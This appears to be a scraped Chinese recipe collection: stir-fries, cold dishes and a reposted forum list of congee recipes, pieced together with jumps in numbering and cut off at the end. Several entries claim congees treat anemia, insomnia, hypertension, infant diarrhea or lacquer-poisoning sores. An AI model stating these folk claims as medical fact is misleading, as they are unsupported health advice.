　　1. 鸡肉煮熟切成片摆入盘内；

　　2. 炒锅置火上，倒入香油烧热，投放辣椒丝煸炒一下，再放入葱丝和姜丝煸出香味后烹放料酒，加入酱油、味精、醋、胡椒粉和适量的凉开水调制成的酸辣汁，食用时浇在鸡片上拌匀即可。

　　

　　　　醋熘卷心菜

　　制作工艺:醋溜口味：酸咸味

　　主料：圆白菜300克配料：调料：醋25克辣椒(红、尖、干)5克大豆油75克花椒5克酱油4克盐2克白砂糖2克味精1克香油1克淀粉(豌豆)5克

　　1. 卷心菜洗净切成3厘米见方的块，用刀拍松，用盐拌匀待用；

　　2. 干辣椒切丝；

　　3. 把糖、醋、酱油、味精、湿淀粉10克（淀粉5克加水）调成汁；

　　4. 勺内放豆油烧热，先放花椒炸黑，捞去花椒；

　　5. 再加干辣椒丝炸黄后，随即下卷心菜翻炒；

　　6. 待稍软后将调好的汁倒入勺内，翻炒几下，淋上香油即成。

　　

　　　　醋熘藕片

　　制作工艺:醋溜口味：酸甜味

　　主料：莲藕400克配料：调料：酱油10克醋15克盐4克淀粉(豌豆)5克胡麻油20克大葱8克姜10克

　　1. 将藕去节，削皮洗净，再顶刀切成薄片，下入开水锅中略烫，捞出沥干水分待用；

　　2. 炒锅注油烧至温热，下葱末，姜末，马上烹入醋，加入酱油，盐和清汤，加入葱片略炒，用水淀粉勾芡，淋入花椒油，翻炒均匀，出锅即可。

　　

　　　　银芽炒韭菜

　　制作工艺:生炒口味：清香味

　　主料：绿豆芽250克韭菜100克配料：调料：盐3克味精2克植物油30克

　　1.韭菜掐去老茎，去除边叶，清洗干净后切成4厘米长的段；绿豆芽摘去根部和豆瓣部分，留中段为银芽，洗净。

　　2.锅放在旺火上，下入植物油烧至七成热时，下精盐炒热，下银芽和韭菜段翻炒，待炒至断生，放味精炒匀起锅装盘。

　　

　　　　青椒茄片

　　制作工艺:生炒口味：咸鲜味

　　主料：茄子 250克配料：青椒50克调料：盐3克味精2克植物油60克香油5克

　　1.茄子切去两端不用，洗净，对剖成两半，每半切成3毫米厚的片；青椒去蒂、去籽，切成3毫米粗的丝。

　　2.锅放在旺火上，倒入菜油烧至六成热时，放入茄片、青椒丝翻炒，边炒边加入味精、精盐、香油，待炒至断生时，装盘即成。

　　

　　　　青蒜炒黄豆芽

　　制作工艺:生炒口味：辣味

　　主料：黄豆芽450克青蒜100克配料：调料：色拉油50克盐5克味精3克白砂糖2克辣椒粉8克香油10克

　　1. 将青蒜洗净，切成1.5厘米长的段；

　　2. 将黄豆芽掐去根须，洗净捞出，沥干水分；

　　3. 锅置旺火上，放入色拉油，烧热下入辣椒粉略煸；

　　4. 再放入黄豆芽、精盐、味精、白糖炒拌均匀，再放入青蒜段炒拌断生，淋香油，出锅装盘即可。

　　

　　　　青蒜烧豆腐

　　制作工艺:红烧口味：蒜香味

　　主料：豆腐(北)250克配料：青蒜100克猪肉(肥瘦)50克调料：色拉油20克酱油2克白砂糖3克香油3克淀粉(豌豆)5克

　　1. 青蒜清洗干净后切斜段，蒜白与蒜青分开备用；

　　2. 猪肉洗净绞碎；

　　3. 豆腐切方块；

　　4. 锅中倒入20克油，先将肉炒松，再放入蒜白少香；

　　5. 放进切好的豆腐块及调味料（高汤3/4杯、酱油2克、糖3克、麻油3克）所有材料，先用大火煮开，再改用小火煮约五分钟，放入青蒜；

　　6. 最后用淀粉、水勾芡后即可盛出。

　　

　　　　韭菜蛋饼

　　制作工艺:生煎口味：咸鲜味

　　主料：鸡蛋350克小麦面粉400克韭菜400克配料：调料：盐3克料酒10克大葱5克植物油30克

　　1. 将嫩韭菜择洗干净，沥水后切成小段；

　　2. 葱洗净，切成细末；

　　3. 把鸡蛋打入碗内，用力搅打均匀；

　　4. 面粉加水和成薄浆，加入打好的蛋液、料酒、精盐和葱花，随即再将韭菜倒入拌匀；

　　5. 炒锅置火上，加底油烧热，用勺舀面糊入锅摊薄，待两面都煎黄后，即可出锅。

　　

　　　　香干牛肉

　　制作工艺:生炒口味：咸鲜味

　　主料：牛肉(肥瘦)150克香干100克配料：青椒80克辣椒(红、尖)10克调料：大葱5克姜5克酱油5克淀粉(豌豆)15克盐2克白砂糖2克香油3克白酒3克植物油20克

　　1. 牛肉清洗干净后横纹切丝，加入调味料中的酱油及淀粉搅拌均匀；

　　2. 青椒、红辣椒洗净，分别切丝；

　　3. 五香豆干切丝，备用；

　　4. 葱、姜分别洗净，均切成末。

　　5. 锅中倒入油烧热，放入牛肉烧至变色后取出；

　　6. 用剩余的油将葱、姜爆香，再放入青椒、红辣椒、五香豆干丝翻炒几下；

　　7. 倒入牛肉，炒熟后加入盐、糖、香油、白酒、淀粉、水30毫升拌匀即可盛出。

　　

　　　　香菇炒菜心

　　制作工艺:生炒口味：清香味

　　主料：油菜心300克配料：香菇（干）30克调料：盐2克植物油30克白砂糖15克味精1克

　　1. 将香菇洗净后放温水中泡发，捞出沥去水，去柄，切小块；

　　2. 将油菜心去根洗净，捞出沥水，大棵的在根部纵向剖十字刀，小棵的不切，整棵炒；

　　3. 将炒锅置大火上，倒入植物油，烧至油锅冒烟时放入香菇先炒几下再下油菜心；

　　4. 炒至变软色变绿时加入精盐、白糖和泡香菇的水，盖上锅盖烧3分钟，加入味精炒匀后盛入盘内即可上桌供食。

　　

　　　　香菜拌牛肉

　　制作工艺:拌口味：麻辣味

　　主料：牛肉（瘦）500克配料：香菜20克调料：辣椒油50克花椒粉25克盐4克味精2克大葱10克

　　1. 牛肉蒸熟切成片；

　　2. 香菜摘洗干净后切成段；

　　3. 葱切丝备用；

　　2. 牛肉片放入盘内，加入盐、味精、辣椒油、花椒粉、葱丝和香菜段拌匀即可。

　　

　　　　香葱蒸鱼

　　制作工艺:清蒸口味：葱香味

　　主料：平鱼300克配料：香菇（鲜）100克调料：盐3克酱油10克白酒5克白砂糖2克醋5克植物油10克小葱20克

　　1. 将鱼洗干净，擦干水分，撒盐3克腌10分钟左右；

　　2. 香菇泡发，切丁；

　　3. 油、酱油、酒、黑醋、糖、香菇丁拌均匀，淋在鱼体上；

　　4. 水烧开，将鱼以大火蒸约10分钟左右，至筷子可插入鱼身；

　　5. 撒上香葱末即可。

　　

　　　　鲜菇炒菜花

　　制作工艺:生炒口味：咸鲜味

　　主料：蘑菇(鲜蘑)200克菜花150克配料：调料：盐2克味精1克淀粉(豌豆)5克色拉油30克

　　1. 将菜花洗净掰成小朵，放入开水锅内氽一下；

　　2. 淀粉加水适量调匀成水淀粉备用；

　　3. 锅架火上，放油烧至七成热，下鲜蘑菇煸炒一下；

　　4. 加入素汤30毫升、精盐、味精，烧沸；

　　5. 放入菜花煸炒至熟，用水淀粉勾芡即成。

　　

　　　　鲜虾芦笋

　　制作工艺:熟炒口味：本味咸鲜

　　主料：河虾250克芦笋180克配料：蚕豆60克胡萝卜20克调料：大蒜5克盐3克胡椒粉1克淀粉(豌豆)3克植物油50克

　　1. 鲜虾去壳，洗净吸干水分，加入调味料腌十五分钟，泡嫩油，沥干油分，待用；

　　2. 鲜芦笋用盐、油、水出水过冷；

　　3. 胡萝卜洗净剞成胡萝卜花；

　　4. 蚕豆、胡萝卜飞水，盛起；

　　5. 大蒜去洗净捣成蒜茸；

　　6.下油爆香蒜茸，加入鲜芦笋、蚕豆、胡萝卜花炒匀，鲜虾回锅兜炒，用少许生粉水埋芡即成。

　　85

　　

　　　　三丝黄瓜卷

　　制作工艺:拌口味：咸鲜味

　　主料：黄瓜500克配料：胡萝卜50克竹笋50克琼脂50克调料：味精25克盐25克香油25克

　　1. 将黄瓜剞成4.5厘米长的段，用盐腌半个小时，然后滚刀片成片，剞成6厘米长的片；

　　2. 胡萝卜、竹笋切成一字长的细条，琼脂用水泡制成寸段；

　　3. 锅置火上放入水，烧开后将黄瓜倒入焯一下马上捞出过凉；

　　4. 胡萝卜、竹笋、琼脂拿干水放入碗中加入味精、盐、香油调好口味，将黄瓜片平放案板上，把胡萝卜丝、冬笋丝和琼脂丝均匀地分置在各个黄瓜片上，然后一端卷成卷，即可装盘。

　　

　　　　三丝春卷

　　制作工艺:包卷炸口味：炸烧味

　　主料：绿豆芽350克韭菜150克香菇（鲜）100克小麦面粉200克配料：调料：鸡蛋120克色拉油70克小麦面粉10克大葱10克姜10克胡椒粉3克盐3克味精1克

　　1. 绿豆芽洗净；韭菜洗净切寸段；水发香菇洗净切丝；葱、姜洗净切丝。

　　2. 鸡蛋打散，和面粉放入碗中，调成鸡蛋糊。

　　3. 绿豆芽、韭菜段、香菇丝、葱丝、姜丝、胡椒粉、精盐、味精同放碗中拌匀，然后放入春卷皮上包成春卷，缝口处用鸡蛋糊粘紧。

　　4. 锅中放油烧热，春卷依次放入锅中炸，当颜色浅黄时，捞出沥油即可。

　　

　　　　黄瓜拌海米

　　制作工艺:拌口味：香辣

　　主料：黄瓜250克配料：虾米15克调料：酱油10克醋10克大蒜5克姜5克香油5克盐3克

　　1. 将大蒜、姜分别去皮洗净，大蒜捣烂泥蒜泥，姜切成末，备用；

　　2. 黄瓜洗干净，直刀切成铜钱片，或拍酥切碎成3厘米的长段，拌入盐入味；

　　3. 用温开水将海米泡软；

　　4. 海米调在黄瓜里，把酱油、醋（陈醋）、蒜泥、姜末、香油调入，拌匀，盛盘上桌。

[转]91种粥的做法学会了去温暖爱的人的胃吧

291632847@qq.com(白鹭) — Mon, 30 Nov 2009 12:29:17 GMT

91种粥的做法学会了去温暖爱的人的胃吧

蔬菜牛肉粥 01蔬菜牛肉粥
原料：牛肉--40克，米饭--1/4碗，菠菜--1棵，肉汤--1/2杯，土豆、胡萝卜、洋葱--1/5 个，盐--若干
制法：（1）准备牛肉精肉并磨碎。
（2）将菠菜、胡萝卜、洋葱、土豆炖熟并捣碎。
（3）将米饭、蔬菜和肉末放入锅中煮，并用盐调味。

02 豆腐粥
原料：米饭--1/6碗，肉汤--1/2杯，豆腐1/10块，盐--若干
制法：（1）将豆腐切成小块。
（2）将米饭、肉汤、豆腐加水放在锅中同煮。
（3）煮至粘稠时加入适量的盐调味。

03 鸡蛋粥
原料：鸡蛋--1/2个，胡萝卜--1/5个，菠菜--1棵，米饭--1/4碗，肉汤--1/2杯，盐--若干
制法：（1）将胡萝卜和菠菜炖熟切碎。
（2）将米饭、肉汤和切碎的胡萝卜、菠菜倒入锅中同煮。
（3）煮开之后放入捣好的蛋糊并搅开，加盐调味。

04 蔬菜鱼肉粥
原料：鱼白肉--30克，胡萝卜--1/5个，海带清汤--1/2杯，萝卜--20克，酱油--若干，米饭--1/4碗
制法：（1）将鱼骨剔净，鱼肉炖熟并捣碎。
（2）将萝卜、胡萝卜用擦菜板擦好。
（3）将米饭、海带清汤及鱼肉、蔬菜等倒入锅内同煮。
（4）煮至粘稠时放入酱油调味。

干酪粥
05 干酪粥
原料：米饭--1/6碗，水--1/2杯，干酪--5克
制法：（1）将干酪切碎。
（2）将米饭入锅加适量水煮。
（3）煮至粘稠时中入干酪，干酪开始溶化时将火关掉。

06 豌豆粥
原料：米饭--1/4碗，豌豆--5个，牛奶--1/4杯，盐--若干
制法：（1）将豌豆用开水煮熟，捣碎并过滤。
（2）在米饭中加适量水用小锅煮沸。
（3）之后放入牛奶和豌豆，并用文火再煮。
（4）加盐调味。

07 胡桃粥
原料：糯米--1/3杯，胡桃--5个，红枣--1个，盐--若干
制法：（1）将胡桃夹开把瓤取出，泡在水里，将其薄皮剥去并捣碎。
（2）将红枣去核并用水浸泡后捣碎。
（3）将胡桃、红枣、糯米加适量水放在小锅里煮。
（4）煮好后用盐调味。

08 苹果麦片粥
原料：燕麦片--3大匙，牛奶--1/4杯，苹果--1/6个，胡萝卜--1/3个
制法：（1）将苹果和胡萝卜洗净并用擦菜板擦好。
（2）将燕麦片及擦好的1大匙胡萝卜放入锅中，倒入牛奶及1/4杯水用文火煮。
（3）煮开后再放入2大匙擦好的苹果直至煮烂。

09 鱼肉牛奶粥
原料：鱼白肉--1/6块，牛奶--1大匙，盐--若干
制法：（1）将鱼肉抬掇干净，炖熟并捣碎。
（2）将鱼肉放在小锅里加牛奶煮，之后加盐调味。

芋头粥
10 芋头粥
原料：芋头--1/2个，肉汤--1大匙，酱油--若干
制法：（1）将芋头皮剥掉切成小块，用盐腌一下再洗净。
（2）将芋头炖烂后捣碎并过滤。
（3）将肉汤及芋头放在小锅里煮，并不时地搅一下。
（4）煮至粘稠后加酱油调味。

11 土豆粥
原料：土豆--1/3个，牛奶--2大匙，熟蛋黄--1/4个，盐--若干
制法：（1）将土豆去皮，炖烂，捣碎并过滤。
（2）将土豆加牛奶用文火煮，并轻轻搅拌，粘稠后加盐。
（3）将蛋黄捣碎放在土豆泥里。

12 干酪面包粥
原料：主食面包--1片，牛奶--2/3杯，干酪粉--1/2匙
制法：（1）将主食面包的边沿剪掉之后撕成碎片。
（2）把撕碎的面包加牛奶用文火煮，煮成糊状后撒上干酪粉。也可以用蛋糕来代替面包做成蛋糕粥。

13 胡萝卜酸奶粥
原料：胡萝卜--1/10个，面粉--1小匙，卷心菜--10克，酸奶--1大匙，肉汤--3大匙，黄油--若干
制法：（1）将卷心菜和胡萝卜要成细丝炖烂。
（2）用黄油将面粉略炒一下，加入肉汤、蔬菜煮，并轻搅。
（3）将炖好的材料冷却后与酸奶拌好


番茄粥
14 番茄粥
原料：番茄--1/8个，米饭--1/4碗，海带清汤--1/2杯，盐--若干
制法：（1）将番茄泡在开水里，随即取出去皮去瓤，切碎。
（2）将米饭和海带清汤倒入小锅是煮。
（3）煮好后加入番茄，加盐调味。

15 鸡肉粥
原料：鸡胸脯肉--10克，米饭--1/4碗，海带清汤--1/2杯，菠菜--10克，酱油、白糖--若干
制法：（1）将鸡胸脯肉去筋，切成小块，用酱油和白糖腌一下。
（2）将菠菜炖熟并切碎。
（3）米饭用海带清汤煮一下，再放入菠菜鸡肉同煮。

16 裙带菜红蛤粥
原料：干红蛤--2个，干裙带菜--20克，大米--1/4杯
制法：（1）将红蛤和裙带菜用水泡开之后拧净水分并切碎。
（2）将泡好的米加适量的水一起倒入粉碎机磨碎。
（3）以1：10的比例将米和水调好，加入裙带菜和红蛤同煮。
（4）煮好之后用盐调味。

红薯鸡蛋粥17 红薯鸡蛋粥
原料：红薯--1/6块，鸡蛋--1个，牛奶--2大匙
制法：（1）将红薯去皮，炖烂，并捣成泥状。
（2）将鸡蛋煮熟之后把蛋黄捣碎。
（3）红薯泥加牛奶用文火煮，并不时地搅动。
（4）粘稠时放入蛋黄，搅匀。

18 栗子粥
原料：栗子--5个，海带清汤--1/2杯
制法：（1）将栗子煮熟之后去皮，捣碎。
（2）海带清汤煮沸后加栗子同煮。栗子可强肠胃功能，有助于消化。婴儿腹泻时食用栗子，效果较好。

19 蔬菜粥
原料：牛肉--20克，大米--1/3杯，胡萝卜、洋葱--若干，香油、酱油--若干
制法：（1）大米洗净用水泡好，牛肉、胡萝卜、洋葱切碎。
（2）用香油把牛肉在锅里炒一下，再入泡好的大米炒制。
（3）将大米炒至一定程度后加入胡萝卜和水，用文火煮烂，再用酱油调味。

20 大酱粥
原料：米粥--1小碗，大酱--1/2小匙，胡萝卜、洋葱、菠菜--若干
制法：（1）将胡萝卜、洋葱、菠菜切成碎块。
（2）蔬菜加清汤煮制，随后放入米粥同煮。
（3）煮好之后放大酱调味。

21 胡萝卜粥
原料：准备胡萝卜(红萝卜)适量
制作：把胡萝卜洗净去除根须放入蒸锅内上米蒸熟蒸烂取出晾凉捣烂成泥如果小孩喜吃甜食也可稍加白糖
特点：清香适口胡萝卜味甘性平有健脾助消化之功并含有胡萝卜素B族维生素脂肪糖类
其中含大量果胶有收敛和吸附作用患儿腹泻食用后可以抑制肠道蠕动对抑制消化不良所引起的腹泻非常合适

22 脊肉粥
猪脊肉是指猪脊背上的精肉古代人已作为药用其性味甘咸平
猪瘦肉含有丰富的蛋白质并含有较多的碳水化合物钙磷铁等营养成分可防止发生营养不良
原料：猪脊肉100克粳米100克食盐香油川椒粉各少许
制作：先将猪脊肉洗净切成小块放锅内用香油炒一下然后加入粳米煮粥待粥将烂熟时加入盐胡椒粉调味再煮沸即成
特点：粥有肉香油等调味品味道极好此粥补益人体小儿常食可防止发生贫血


莲子桂圆粥 23.莲子桂圆粥
[原料]莲子20克、龙眼肉10克、糯米50克。
[做法]取莲子、龙眼肉、糯米同煮成粥。
[用法]每日2次，温热食用。
[作用]补心脾，益气血。适用于失血性贫血。
[评注]桂圆大补、不宜久用；莲子能平补不峻、可以久服。伏案诵读、劳伤心脾、记忆减退、纳谷不香者，可常吃莲子粥。

24.八宝粥
[原料] 芡实、薏仁米、白扁豆、莲肉、山药、红枣、桂圆、百合各6克、粳米150克。
[做法] 先取上述八药煎煮40分钟，再加入大米继续煮烂成粥。
[用法] 分顿调糖食用，连吃数日。
[作用] 健脾胃，补气益肾，养血安神。适用于失眠以及体虚乏力虚肿、泄泻、口渴、咳嗽少痰等。
[评注] 八宝粥超市有卖，温热服用效果较好，健康人食用可强身健体。

柏子仁粥 25.柏子仁粥
[原料] 柏子仁15克、粳米100克、蜂蜜适量。
[做法] 先将柏子仁去除皮、壳、杂质，捣烂，与粳米煮粥，待粥将时，兑入蜂蜜，稍煮开锅即可。
[用法] 每日2次，连服3天。
[作用] 润肠通便、养心安神。适用于心悸、失眠、健忘、长期便秘或老年性便秘。
[评注] 柏子仁甘平、有养心安神、滋阴养肝、舒脾润肠、美颜乌发等作用。柏子仁含脂肪油14%、少量挥发油、皂甙等物质，为常用的滋补安神药。

26.酸枣仁粥
[原料 ]酸枣仁末15克、粳米100克。
[做法] 先以粳米加水煮粥至将熟，加入酸枣仁末再煮片刻即可。
[用法] 早晚温服。
[作用] 养心、安神、敛汗。适用于神经衰弱、心悸、失眠、多梦、黑眼圈。
[评注] 酸枣仁末入粥中酸甘适口，深受欢迎。酸枣仁生用炒用均可，炒时间过常能破坏有效成分。可取酸枣仁微炒片刻研末，家庭可用擀面杖研磨。

27.小米枣仁粥
[原料] 小米100克、酸枣仁末15克、蜂蜜40克。
[做法] 将小米加水煮粥至将熟，加入酸枣仁末，搅匀煮开即可。
[用法] 每日2次，加蜂蜜温服。
[作用] 补脾润燥，宁心安神。主治纳食不香、夜寐不宁、大便干燥。
[评注] 酸枣仁能宁心安神，小米可补脾养心。酸枣仁在锅内微炒片刻研末，家庭可用擀面杖研磨。

28.绿豆粥
[原料] 绿豆30g，粳米100g
[做法] 1．将绿豆、粳米淘洗干净。
2．把绿豆、粳米放入锅内，加水约500g，煮至米烂汁黏时即可离火食用。每日服食1-2次。
[营养] 内含蛋白质13.6g，脂肪0.65g，碳水化合物95.7g，钙39mg，磷25.9mg，铁2.7mg，维生素A0.20国际单位，
维生素B10.2mg，维生素B21.5mg，尼克酸0.6mg，能产热453kcal。
[功能] 绿豆是一种非常好的解暑食品，能清热消暑、解毒消痛、利尿除湿，与粳米相搭配，煮成粥，又可健脾益气、养血生津，确为夏季解暑佳品，
且因本品并非过于寒凉，不会滞胃凉脾，是产后防暑、解暑佳品。

29.银杏粥
益元气、补五脏、抗衰老，老年、体弱多病者尤佳。正常人食之健体。宜家庭食用。
做法：银杏仁（去壳后用沸水烫去内种皮）6-10粒，冰糖少量，粳米2两，水适量，同时放入锅中，文火煮熟即成。以粳米成糊糜状即可。
银杏宜与其他淡甜低糖的米粥类相配，如银杏八宝粥、银杏绿豆粥、银杏沙参莲子粥等，糖以冰糖、白糖为宜。

金银花粥
30.金银花粥
材料：金银花30克，白米30克。
做法：金银花可在药材店买到。先用水煎煮，取其浓汁，加入白米30克，水300毫升，再煮为稀薄的粥。
功效：可用来防治中暑，以及各种热毒疮疡、咽喉肿痛、风热感冒等等。

31.莲藕粥
材料：鲜藕200克，白米100克，白糖少许。
做法：先将莲藕洗净切片，与白米同煮为粥，待粥熟时，再调入些许白糖，即可进食。
功效：益气养阴，健脾开胃，老年人体虚，热天里食欲不振、大便溏薄、热病口渴等等都能进食。

32.白木耳粥
材料：白木耳60克，糯米100克。
做法：白木耳先用清水发泡洗净。糯米淘净后，置入锅内加水烧开，再放入银耳，熬煮成粥，调入一些冰糖即成。
功效：滋阴生津、润肺养胃、益气和血，可治虚劳咳嗽、痰中带血、阴虚口渴。

33.红枣粥
材料：红枣，白米，分量可随自己口味决定。
做法：很简单，在白粥煮至七成熟的时候，放入红枣同煮。
功效：具有养脾、润心肺、补五脏、治虚损的功用，对于血压低、肺虚咳嗽，有一定增益。

麦冬竹叶粥34.麦冬竹叶粥
材料：麦冬30克，甘草10克，竹叶15克，白米100克，去核红枣6枚。
做法：将麦冬、甘草、竹叶先用水煎熬，取汁，加入粳米、红枣一起煮成粥。
功效：带点淡淡的清甜，具有清热解暑、益气和健胃等功效，假如感到暑热口渴、气短乏力、不思饮食，不妨一试。

35.豆浆粥
做法：豆腐浆适量，粳米50克，一同煮粥。
功效：有润肺胃、消胀满、下浊气、利小便的功效，夏天常食可消暑、利湿，并适用于治疗炎夏食欲不振、体倦乏力诸症。

36.薄荷粥
做法：用大米150克煮成粥，另用鲜薄荷100克或用干薄荷20克煎成较浓的汤，加适量白糖后倒入粥内，搅和后凉服。
功效：对治疗夏季风热感冒、头痛目赤、风疹瘙痒、咽喉痛等症甚佳。

菊花粥37.菊花粥
做法：用黄菊花20克，稍加水煎成菊花水，去菊花，将此水与大米160克共煮成粥。
功效：此粥对夏季风热感冒、目赤昏花、疗疮肿毒及高血压患者较为适宜。

38.芦根粥
做法：鲜芦根150克，竹茹15克，粳米60克，生姜2片，将芦根洗净、切段，与竹茹同煎，去渣加粳米、生姜煮成粥，分2次服食。
功效：有清热、除烦、生津、止呕的功效，适用于治疗中暑烦渴、恶心呕吐。

39.鸡粥
主料：鸡肉200克
调料：葱末5克，盐5克，熟油、胡椒粉各少许，姜片5克，香菜末。
做法：
1：将大米淘洗干净，放入锅内，加水2000克，烧开后用小火煮成粥
2：鸡肉放入另一只锅内，加姜片和水，烧开后小火煮熟，捞出晾凉，把鸡肉撕成丝，再用葱末，盐、胡椒粉、熟油拌匀调味。
3：把调好味的鸡丝倒入粥锅内，用文火稍煮一会儿，撒上香菜末即成。概据个人的喜好与习惯，也可不加香菜末。
特点：味道鲜美可口，常食可滋养五脏、补气血。

皮蛋瘦肉粥
40.皮蛋瘦肉粥
煮粥用料：瘦肉1块（猪腱肉最好），皮蛋2个（无铅皮蛋，一则健康些，二则石灰味没那么大），姜1块，水足量，油盐适量。
要煮出一锅绵香好味的皮蛋咸瘦肉粥，要诀如下：
（1）挑米：煮粥用的米最好用东北大米，就是圆圆短短的珍珠米，煮出的粥特别绵软；
（2）煮粥的米要预先腌：约半碗米淘洗干净后，要用2汤匙的油、1个半茶匙的盐和少许水（2茶匙）拌匀，腌至少半小时，
放心，虽然用了很多油，但是油会在煮粥的过程中挥发，令米绵烂，所以并不油腻的；
（3）煮粥的肉要先用沸水煮煮去腥，或腌成咸肉：煮粥用瘦肉或腌的咸瘦肉，不必太考究是猪的哪一块肉，
总之要保持一整块肉块不要切开（我一般用大约巴掌大，1－2厘米厚的一块猪肉，如果条件许可，用猪腱肉更好味）。
如果用瘦肉煮粥，那么要先用沸水把瘦肉略略煮煮，然后洗净；
如果喜欢用腌的咸猪肉煮粥，那么要提前一天腌咸猪肉，方法如下：
猪肉一块，冲洗干净，抹干，撒2－3茶匙盐，均匀涂抹在肉上，放冰箱下格（就是不会冻成冰的保鲜格）腌12小时或更长时间才可以入味；
（4）煮粥的水要充分沸腾才下材料：大汤锅中放很多水，煮沸，才放材料。
先下肉块、姜片，火不要关小，肉块到了沸水中，外面的部分遇热而熟硬，封住了里面的肉汁，这样肉煮了粥后也不难吃，
然后待水再次沸腾时下腌好的米和一个切碎的皮蛋，而这第一个皮蛋切碎下粥与米同煮，皮蛋会融化，融入粥的味道中；
（5）先大火，后小火，火候要足：水沸了，下了材料后，先大火煮20分钟，然后再转小火煮1个半小时，火候足，粥就绵软入味而且容易消化；
（6）粥的质感处理：在转小火煮了1个半小时后，把第二个皮蛋也切碎，同时把煮在粥中的瘦肉捞出来，用筷子扒拉，撕成丝丝状，
跟第二个皮蛋一起放回粥中，同煮最后半小时，然后关火。第二个皮蛋在关火前半小时加入粥中，半小时可将第二个皮蛋煮得既没有石灰味，
同时又变软滑，吃粥时也能吃到有皮蛋，而肉因为是水沸时下的，还保持了一定鲜味，撕成丝后放回粥中，特别好吃。
这样煮出来的粥不必下盐，好味，而且下火，容易消化。如果粥有点粘底，请千万不要用勺子扒拉锅底的粘皮，要不粥会有糊味，
我们通常会放一个轻的小调羹在锅底与粥同煮，水沸腾过程中，小调羹也被带动，可以防止粥煮粘底。

南瓜粥
41.南瓜粥
原料：南瓜250g，米50g，白糖少量
做法：
（1）先将南瓜蒸软，混着蒸出来的南瓜汁一起捣成南瓜泥；
（2）将米下锅加入适量的水，大火煮开3分钟，加入南瓜泥不停搅拌直至再次煮开，开小火继续煮15—20分钟就可以咯；
（3）加入适量的白糖或者放凉后加入蜂蜜；
我个人觉得南瓜粥已经有很清甜的香味了，为了身材着想，我就没有加糖。而且放冰箱冰过以后更好喝！

　　291.菠菜粥
　　　　
　　原料：菠菜、粳米各250克
　　辅料：盐适量
　　做法：
　　1.将菠菜洗净，在沸水中焯一下，切段，备用。
　　2.粳米洗净置锅内，加水适量，熬至粳米熟时，将菠菜放入粥中，继续熬一会儿停火；再放入盐调味即成。
　　不宜食用加工过细的粳米。粳米由皮层、糊粉层、胚乳层和胚层组成，皮层与糊粉层中含有纤维素、维生素和矿物质，营养成分远较胚乳层和胚层多，加工过于精细，会使营养成分大量损耗，降低粳米的营养价值。
　　292.蛋花麦片粥
　　
　　原料：麦片30克，鸡蛋1个
　　做法：
　　1.将鸡蛋打入碗中，打散搅匀。
　　2.把麦片用水浸泡，泡软后倒入锅中，小火煮沸，约5分钟。
　　3.再往锅中打入鸡蛋，煮熟即成。
　　含有蛋白质、碳水化合物、维生素A、维生素B、维生素E、钾、铁、锌、硒等营养物质，促进宝宝生长发育，有利于预防夜盲症、口角炎、贫血。
　　293.鸡肉菜粥
　　
　　原料：大米粥半碗，鸡肉末半匙，碎青菜1匙，鸡汤，植物油少许
　　做法：
　　1.锅内放入少量植物油，起火把油烧热。
　　2.鸡肉末放入锅中煸炒后，再放入碎青菜煸炒。
　　3.待鸡肉末和碎青菜炒熟后，再放入大米粥、鸡汤一起煮开，晾温后即可喂食。
　　含丰富的微量元素等营养物质，有利于宝宝消化吸收，有利于宝宝生长发育。
　　294.黄花菜瘦肉粥
　　　
　　原料：黄花、瘦肉各50克，大米100克
　　辅料：盐、葱、姜适量
　　做法：
　　1.黄花菜洗净，瘦肉切片备用。
　　2.姜、大米、黄花一同放入滚水中，同煮成粥，之后放入葱、肉，肉将熟时加入盐调味即可。
　　煮粥的方法：
　　搅粥：水开后米下锅时搅几下，盖上锅盖文火熬20分钟，开始不停地搅动，一直持续约到呈黏稠状出锅为止。为防止粥溢锅，可在煮粥的时候加几滴植物油或少量盐。
　　或米或水一起下锅先用大火煮开，再转文火熬煮约30分钟。
　　295.大米粥泥
　　
　　原料：
　　大米50克，蛋黄泥少许
　　做法：
　　1.把米淘净，加入适量清水，放入小锅中，用微火煮至烂粥。
　　2.滤去粗渣，加入蛋黄泥，搅拌均匀即可。
　　含脂肪、蛋白质、碳水化合物等营养物质，可有效预防软骨病，具有健脾养胃、聪耳明目的功效，也可把大米换成小米或玉米面。
　　296.二瓜粥
　　
　　原料：粳米100克，黄瓜150克，冬瓜150克
　　辅料：姜10克，盐适量
　　做法：
　　1.将黄瓜洗净，去皮去子，切成薄片；冬瓜去皮，切薄片；粳米淘洗干净；姜洗净拍碎。
　　2.锅内加水约1000克，大火烧开后放入粳米、姜碎，待沸腾后改用小火慢慢煮至米烂，下入黄瓜片、冬瓜片，大火煮至汤稠料熟，加入盐调味，即可食用。
　　煮粥时，水要一次加足，不要中途加水，大火煮沸后要不断搅拌才能使粥黏稠。
　　297.冰糖苦瓜粥
　　
　　原料：大米100克，苦瓜1根，松花蛋1个。
　　辅料：冰糖、盐、葱末、姜末、香油适量。
　　做法：
　　1．大米洗净，浸泡2小时；苦瓜洗净，去内膜和子，切末，用热水焯一下后捞出，沥干切成细末；松花蛋去皮，切小丁。
　　2．锅置火上，加1000克水，煮沸后放米熬成粥。
　　3．把苦瓜、松花蛋丁和冰糖放入熬好的粥里，煮5分钟，撒上葱花、姜末，点几滴香油即可。
　　298.生滚花蟹粥
　　
　　原料：花蟹2只，大米40克。
　　辅料：姜丝5克，葱花5克，盐2克，鸡精1克，香油5克。
　　做法：
　　1.花蟹洗净，剖壳剁块；大米洗净备用。
　　2.砂锅置火中，以2:8的比例放入大米和清水，大火煮开后转用小火继续熬煲。
　　3.煲至米粒软烂时，放入备好的花蟹、姜丝继续煲，煲至成米粥时，加入盐、鸡精拌匀，淋上少许香油，撒上葱花即可。
　　螃蟹色鲜味美、营养丰富，含有丰富的蛋白质、微量元素等营养成分，还有10多种游离氨基酸，其中谷氨酸、精氨酸、组氨酸等含量较多，对身体有很好的滋补作用。
　　中医认为，螃蟹有清热解毒、补骨添髓、养筋活血、通经络、滋肝阴的功效。对于瘀血、损伤、黄疸、腰腿酸痛和风湿性关节炎等疾病有一定的食疗效果。根据古籍记载，螃蟹适用于跌打损伤、淤血肿痛、伤筋断骨的治疗。此外，油漆过敏或因漆中毒而生疮，可将活蟹捣汁敷用。
　　299.陈皮花生粥
　　
　　原料：花生仁50克，粳米100克。
　　辅料：陈皮15克。
　　做法：
　　1．粳米洗净，浸泡2小时；花生仁洗净沥干。
　　2．锅放火上，加水1000克，水沸后放粳米、花生仁。
　　3．米粥煮至五成熟时放入陈皮，小火煮至黏稠即可。
　　300.黑米桂花粥
　　
　　原料：黑米100克，红豆50克，莲子30克，花生30克，桂花20克。
